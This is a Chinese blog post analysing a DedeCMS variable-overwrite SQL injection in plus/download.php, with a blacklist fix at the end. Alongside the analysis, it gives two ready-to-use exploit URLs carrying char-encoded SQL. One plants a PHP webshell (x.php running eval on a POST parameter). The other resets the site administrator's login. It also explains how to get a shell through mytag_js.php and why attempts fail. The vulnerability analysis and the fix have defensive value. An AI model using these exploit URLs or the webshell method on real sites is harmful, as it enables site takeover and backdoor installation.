zoukankan      html  css  js  c++  java
  • DeDecms变量覆盖之SQL语句分析报告+修复方案

    信息安全交流论坛

    BBS.ITSEC.PW

    作者:y0umer

    DEDECMS变量覆盖漏洞分析

    昨天暗月凌晨找我搞基.他分析了此漏洞.所以才有得此文.

    DEDECMS为什么那么多变量覆盖呢? 是因为程序员懒啊! 我也不去批评程序员了.因为我也是一个程序员,程序员何必为难程序员呢?

    好的.漏洞开始.

    首先,根据发布出来的文章可以断定.又是一个插件引发的悲剧.

    看代码:

    /plus/donwload.php

    wps_clip_image-8929

    当然,光凭这几句代码无法发现问题.那么我们继续追踪.

    来到了

    /include/dedesql.class.php

    wps_clip_image-7937

    注册了一个全局变量 arrs1 ..

    我们在来到dedecms的初始化文件..

    /include/common.inc.php

    wps_clip_image-970

    确实有过滤了,但是只限于关键字:cfg_|GLOBALS|_GET|_POST|_COOKIE

    我们在追回

    /include/dedesql.class.php

    wps_clip_image-4446

    $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);

    此段代码调用了一个函数str_replace 为了方便阅读.php手册搜索之 :str_replace

    wps_clip_image-7815

    恩 你没听错..字符串替换.

    当然,他是想把$prefix的值,替换成在$GLOBALS中的cfg_dbprefix... 然后返回给$sql变量..

    然后这里给querySrting属性赋了值.把刚才的$sql 直接赋值给 queryString

    下面我说说重量级的ExecuteNoneQuery2 其实他和ExecuteNoneQuery区别就是ExecuteNoneQuery 多了一个安全检测的选项:

    wps_clip_image-22609

    然后我们看看这个大名鼎鼎的SAFEcheck

    wps_clip_image-15958

    如果SQL语句是select 的话,就是否有$notallow1 值的内容。。

    具体的代码防注入代码在这里:

    //SQL语句过滤程序,由80sec提供,这里作了适当的修改

    if (!function_exists('CheckSql'))

    {

        function CheckSql($db_string,$querytype='select')

        {

            global $cfg_cookie_encode;

            $clean = '';

            $error='';

            $old_pos = 0;

            $pos = -1;

            $log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';

            $userIP = GetIP();

            $getUrl = GetCurUrl();

            //如果是普通查询语句,直接过滤一些特殊语法

            if($querytype=='select')

            {

                $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";

                //$notallow2 = "--|/\*";

                if(preg_match("/".$notallow1."/i", $db_string))

                {

                    fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");

                    exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");

                }

            }

            //完整的SQL检查

            while (TRUE)

            {

                $pos = strpos($db_string, '\'', $pos + 1);

                if ($pos === FALSE)

                {

                    break;

                }

                $clean .= substr($db_string, $old_pos, $pos - $old_pos);

                while (TRUE)

                {

                    $pos1 = strpos($db_string, '\'', $pos + 1);

                    $pos2 = strpos($db_string, '\\', $pos + 1);

                    if ($pos1 === FALSE)

                    {

                        break;

                    }

                    elseif ($pos2 == FALSE || $pos2 > $pos1)

                    {

                        $pos = $pos1;

                        break;

                    }

                    $pos = $pos2 + 1;

                }

                $clean .= '$s$';

                $old_pos = $pos + 1;

            }

            $clean .= substr($db_string, $old_pos);

            $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

            //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它

            if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)

            {

                $fail = TRUE;

                $error="union detect";

            }

            //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们

            elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)

            {

                $fail = TRUE;

                $error="comment detect";

            }

            //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库

            elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)

            {

                $fail = TRUE;

                $error="slown down detect";

            }

            elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)

            {

                $fail = TRUE;

                $error="slown down detect";

            }

            elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)

            {

                $fail = TRUE;

                $error="file fun detect";

            }

            elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)

            {

                $fail = TRUE;

                $error="file fun detect";

            }

            //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息

            elseif (preg_match('~\([^)]*?select~s', $clean) != 0)

            {

                $fail = TRUE;

                $error="sub select detect";

            }

            if (!empty($fail))

            {

                fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");

                exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");

            }

            else

            {

                return $db_string;

            }

    }

    当然,这和我们的主题一点关系都没。因此就不追究了。

    继续看ExecuteNoneQuery2

    定义函数方法在这里:

    function ExecuteNoneQuery2($sql='')

        {

            global $dsql;

    if(!$dsql->isInit)

    {

    $this->Init($this->pconnect);

    }

            if($dsql->isClose)

            {

                $this->Open(FALSE);

                $dsql->isClose = FALSE;

            }

    if(!empty($sql))

            {

                $this->SetQuery($sql);

            }

            if(is_array($this->parameters))

            {

                foreach($this->parameters as $key=>$value)

                {

                    $this->queryString = str_replace("@".$key,"'$value'",$this->queryString);

                }

            }

    $t1 = ExecTime();

            mysql_query($this->queryString,$this->linkID);

    红色代码部分:

    当传入的$sql不为空是,就开始替换表前缀..

    function SetQuery($sql)

        {

            $prefix="#@__";

            $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);

            $this->queryString = $sql;

        }

    但是在替换的途中。$GLOBALS['cfg_dbprefix']是可以被覆盖的。那么因此。$GLOBALS['cfg_dbprefix']是我们可以控制的。、

    然而在回到我们的/plus/download.php 文件。

    /*------------------------

    //提供软件给用户下载(旧模式)

    function getSoft_old()

    ------------------------*/

    else if($open==1)

    {

        //更新下载次数

        $id = isset($id) && is_numeric($id) ? $id : 0;

        $link = base64_decode(urldecode($link));

        $hash = md5($link);

        $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");

        if($rs <= 0)

        {

            $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";

            $dsql->ExecNoneQuery($query);

        }

        header("location:$link");

        exit();

    }

    注意。调用了ExecuteNoneQuery2 也就是说,过了80sec防注入的方法。可以随心所欲了。

    在来回顾下

    function CheckRequest(&$val) {

            if (is_array($val)) {

                foreach ($val as $_k=>$_v) {

                    if($_k == 'nvarname') continue;

                    CheckRequest($_k);

                    CheckRequest($val[$_k]);

                }

            } else

            {

                if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$val)  )

                {

                    exit('Request var not allow!');

                }

            }

        }

        //var_dump($_REQUEST);exit;

       CheckRequest($_REQUEST);

    我们知道,$_REQUEST 预定义变量支持的HTTP方式有:GET,POST,COOKIE.

    然而..我们只过滤了GLOBALS这个关键字..

    因此结合以上分析,得出的结论是:

    访问: source/dedecms/plus/donwload.php?open=1&arrs1[]=修改管理员的char编码的sql语句。

    具体的char编码请看:

    wps_clip_image-27788

    利用此漏洞的唯唯一困难就是目标站一定要是默认表前缀。否则可能会出现错误问题.

    利用mytag_js.php文件直接写shell.

    直接上代码吧.

    require_once(dirname(__FILE__).'/../include/common.inc.php');

    require_once(DEDEINC.'/arc.partview.class.php');

    if(isset($arcID)) $aid = $arcID;

    $arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;

    if($aid==0) die(" document.write('Request Error!'); ");

    $cacheFile = DEDEDATA.'/cache/mytag-'.$aid.'.htm';

    if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )

    {

        $pv = new PartView();

      $row = $pv->dsql->GetOne(" SELECT * FROM `#@__mytag` WHERE aid='$aid' ");

        if(!is_array($row))

        {

            $myvalues = "<!--\r\ndocument.write('Not found input!');\r\n-->";

        }

        else

        {

            $tagbody = '';

            if($row['timeset']==0)

            {

                $tagbody = $row['normbody'];

            }

            else

            {

                $ntime = time();

                if($ntime>$row['endtime'] || $ntime < $row['starttime']) {

                    $tagbody = $row['expbody'];

                }

                else {

                    $tagbody = $row['normbody'];

                }

            }

    $pv->SetTemplet($tagbody, 'string');

            $myvalues  = $pv->GetResult();

            $myvalues = str_replace('"','\"',$myvalues);

            $myvalues = str_replace("\r","\\r",$myvalues);

            $myvalues = str_replace("\n","\\n",$myvalues);

            $myvalues =  "<!--\r\ndocument.write(\"{$myvalues}\");\r\n-->\r\n";

    file_put_contents($cacheFile, $myvalues);

            /* 使用 file_put_contents替换下列代码提高执行效率

            $fp = fopen($cacheFile, 'w');

            fwrite($fp, $myvalues);

            fclose($fp);

            */

        }

    }

    include $cacheFile;

    直接把mytag 表的 tagbody字段的内容改成执行我们的SHELL,然后就会写入文件到

    $cacheFile = DEDEDATA.'/cache/mytag-'.$aid.'.htm';

    然后会被include到本文件。 之后你就懂了。

    因为是 $pv->SetTemplet($tagbody, 'string'); 会按照dede的标签库来执行。

    所以update 的内容一定要符合dedecms 的标签

    {dede:php}.这里就是php的原生语句了{/dede}

    在来总结一下失败的原因:

    修改管理员帐号和密码失败的原因:

    一、表前缀和update 时的表前缀不一致

    二、没有想过id的管理员可以update 也就是说没有符合where 的条件。

    三、被锁表了 (大站一般都是主从分离) 所以..

    直接GETSHELL失败的原因:

    一、表前缀和update 时的表前缀不一致

    二、Where 条件必须成立

    三、Data目录权限问题

    四、Plus 目录权限问题

    好了,暂时就分析到这里。Exp就不写了 提供两个exp吧。

    ID:1

    plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35

    注明:ID:1的是GETSHELL,plus根目录下生成x.php 密码是m

    ID:2

    /plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35

    注明:ID2是修改管理员的账号和密码,账号是spider密码admin

    修复方案:在/include/common.inc.php 文件中找到

    if (!defined('DEDEREQUEST'))
    {
        //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)
        function CheckRequest(&$val) {
            if (is_array($val)) {
                foreach ($val as $_k=>$_v) {
                    if($_k == 'nvarname') continue;
                    CheckRequest($_k);
                    CheckRequest($val[$_k]);
                }
            } else
            {
                if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$val)  )
                {
                    exit('Request var not allow!');
                }
            }
        }

    修改成:

    if (!defined('DEDEREQUEST'))
    {
        //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)
        function CheckRequest(&$val) {
            if (is_array($val)) {
                foreach ($val as $_k=>$_v) {
                    if($_k == 'nvarname') continue;
                    CheckRequest($_k);
                    CheckRequest($val[$_k]);
                }
            } else
            {
                if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|arrs1|arrs2)#',$val)  )
                {
                    exit('Request var not allow!');
                }
            }
        }

    可以坚持到官方补丁之前。

    转载请注明来源·。谢谢

  • 相关阅读:
    ubuntu 安装 redis desktop manager
    ubuntu 升级内核
    Ubuntu 内核升级,导致无法正常启动
    spring mvc 上传文件,但是接收到文件后发现文件变大,且文件打不开(multipartfile)
    angular5 open modal
    POJ 1426 Find the Multiple(二维DP)
    POJ 3093 Margritas
    POJ 3260 The Fewest Coins
    POJ 1837 Balance(二维DP)
    POJ 1337 A Lazy Worker
  • 原文地址:https://www.cnblogs.com/y0umer/p/3125647.html
Copyright © 2011-2022 走看看